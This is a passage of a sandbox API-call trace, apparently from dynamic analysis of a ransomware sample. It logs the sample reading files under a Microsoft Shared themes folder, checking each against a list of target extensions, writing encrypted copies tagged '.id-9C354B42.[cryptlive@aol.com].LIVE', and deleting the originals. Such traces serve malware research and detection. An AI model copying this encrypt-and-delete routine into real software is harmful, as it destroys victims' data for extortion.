nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.238] SetEndOfFile (hFile=0x208) returned 1 [0051.238] CloseHandle (hObject=0x208) returned 1 [0051.238] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.238] SetEndOfFile (hFile=0x200) returned 1 [0051.239] CloseHandle (hObject=0x200) returned 1 [0051.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.240] lstrlenW (lpString=".doc") returned 4 [0051.240] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString=".docx") returned 5 [0051.240] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.240] lstrlenW (lpString=".pdf") returned 4 [0051.240] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString=".xls") returned 4 [0051.240] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.240] lstrlenW (lpString=".xlsx") returned 5 [0051.240] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.240] lstrlenW (lpString=".ppt") returned 4 [0051.240] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.240] lstrlenW (lpString=".zip") returned 4 [0051.240] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.240] lstrlenW (lpString=".rar") returned 4 [0051.240] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.240] lstrlenW (lpString=".bz2") returned 4 [0051.240] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString=".7z") returned 3 [0051.240] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.240] lstrlenW (lpString=".dbf") returned 4 [0051.240] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.240] lstrlenW (lpString=".1cd") returned 4 [0051.240] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.240] lstrlenW (lpString=".jpg") returned 4 [0051.240] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.241] lstrlenW (lpString=".doc") returned 4 [0051.241] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString=".docx") returned 5 [0051.241] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.241] lstrlenW (lpString=".pdf") returned 4 [0051.241] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString=".xls") returned 4 [0051.241] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString=".xlsx") returned 5 [0051.241] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.241] lstrlenW (lpString=".ppt") returned 4 [0051.241] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.241] lstrlenW (lpString=".zip") returned 4 [0051.241] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString=".rar") returned 4 [0051.241] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString=".bz2") returned 4 [0051.241] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString=".7z") returned 3 [0051.241] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.241] lstrlenW (lpString=".dbf") returned 4 [0051.241] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.241] lstrlenW (lpString=".1cd") returned 4 [0051.241] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0051.241] lstrlenW (lpString=".jpg") returned 4 [0051.241] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.242] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.242] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.242] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1379) returned 1 [0051.242] CloseHandle (hObject=0x200) returned 1 [0051.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0051.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.242] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.242] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.244] GetLastError () returned 0x0 [0051.244] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x563, lpOverlapped=0x0) returned 1 [0051.248] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x570, lpOverlapped=0x0) returned 1 [0051.249] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.249] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.249] SetEndOfFile (hFile=0x208) returned 1 [0051.249] CloseHandle (hObject=0x208) returned 1 [0051.250] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.250] SetEndOfFile (hFile=0x200) returned 1 [0051.250] CloseHandle (hObject=0x200) returned 1 [0051.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.251] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0051.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.251] lstrlenW (lpString=".doc") returned 4 [0051.251] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.251] lstrlenW (lpString=".docx") returned 5 [0051.251] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.251] lstrlenW (lpString=".pdf") returned 4 [0051.251] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.251] lstrlenW (lpString=".xls") returned 4 [0051.251] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.251] lstrlenW (lpString=".xlsx") returned 5 [0051.251] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.251] lstrlenW (lpString=".ppt") returned 4 [0051.251] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.251] lstrlenW (lpString=".zip") returned 4 [0051.251] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.251] lstrlenW (lpString=".rar") returned 4 [0051.251] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.251] lstrlenW (lpString=".bz2") returned 4 [0051.251] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.252] lstrlenW (lpString=".7z") returned 3 [0051.252] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.252] lstrlenW (lpString=".dbf") returned 4 [0051.252] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.252] lstrlenW (lpString=".1cd") returned 4 [0051.252] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.252] lstrlenW (lpString=".jpg") returned 4 [0051.252] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.252] lstrlenW (lpString=".doc") returned 4 [0051.252] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.252] lstrlenW (lpString=".docx") returned 5 [0051.252] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.252] lstrlenW (lpString=".pdf") returned 4 [0051.252] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".xls") returned 4 [0051.252] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".xlsx") returned 5 [0051.252] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.252] lstrlenW (lpString=".ppt") returned 4 [0051.252] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.252] lstrlenW (lpString=".zip") returned 4 [0051.252] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".rar") returned 4 [0051.252] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.252] lstrlenW (lpString=".bz2") returned 4 [0051.252] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.252] lstrlenW (lpString=".7z") returned 3 [0051.252] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.253] lstrlenW (lpString=".dbf") returned 4 [0051.253] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.253] lstrlenW (lpString=".1cd") returned 4 [0051.253] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0051.253] lstrlenW (lpString=".jpg") returned 4 [0051.253] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.253] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.253] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.253] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=48115) returned 1 [0051.253] CloseHandle (hObject=0x200) returned 1 [0051.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0051.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.254] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.254] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.254] GetLastError () returned 0x0 [0051.254] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0051.326] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0051.328] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.328] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.328] SetEndOfFile (hFile=0x208) returned 1 [0051.328] CloseHandle (hObject=0x208) returned 1 [0051.328] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.328] SetEndOfFile (hFile=0x200) returned 1 [0051.329] CloseHandle (hObject=0x200) returned 1 [0051.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.330] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0051.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.330] lstrlenW (lpString=".doc") returned 4 [0051.330] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.330] lstrlenW (lpString=".docx") returned 5 [0051.330] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.330] lstrlenW (lpString=".pdf") returned 4 [0051.330] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.330] lstrlenW (lpString=".xls") returned 4 [0051.330] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.330] lstrlenW (lpString=".xlsx") returned 5 [0051.330] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.330] lstrlenW (lpString=".ppt") returned 4 [0051.330] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.330] lstrlenW (lpString=".zip") returned 4 [0051.330] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.330] lstrlenW (lpString=".rar") returned 4 [0051.330] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.330] lstrlenW (lpString=".bz2") returned 4 [0051.330] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.330] lstrlenW (lpString=".7z") returned 3 [0051.330] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.330] lstrlenW (lpString=".dbf") returned 4 [0051.331] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.331] lstrlenW (lpString=".1cd") returned 4 [0051.331] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.331] lstrlenW (lpString=".jpg") returned 4 [0051.331] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.331] lstrlenW (lpString=".doc") returned 4 [0051.331] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.331] lstrlenW (lpString=".docx") returned 5 [0051.331] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.331] lstrlenW (lpString=".pdf") returned 4 [0051.331] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.331] lstrlenW (lpString=".xls") returned 4 [0051.331] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.331] lstrlenW (lpString=".xlsx") returned 5 [0051.331] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.331] lstrlenW (lpString=".ppt") returned 4 [0051.331] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.331] lstrlenW (lpString=".zip") returned 4 [0051.331] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.331] lstrlenW (lpString=".rar") returned 4 [0051.331] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.331] lstrlenW (lpString=".bz2") returned 4 [0051.331] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.331] lstrlenW (lpString=".7z") returned 3 [0051.331] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.331] lstrlenW (lpString=".dbf") returned 4 [0051.331] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.332] lstrlenW (lpString=".1cd") returned 4 [0051.332] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0051.332] lstrlenW (lpString=".jpg") returned 4 [0051.332] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.332] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.332] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.332] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1593) returned 1 [0051.332] CloseHandle (hObject=0x200) returned 1 [0051.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0051.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.333] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.578] GetLastError () returned 0x0 [0051.578] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x639, lpOverlapped=0x0) returned 1 [0051.579] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x640, lpOverlapped=0x0) returned 1 [0051.580] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.580] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, 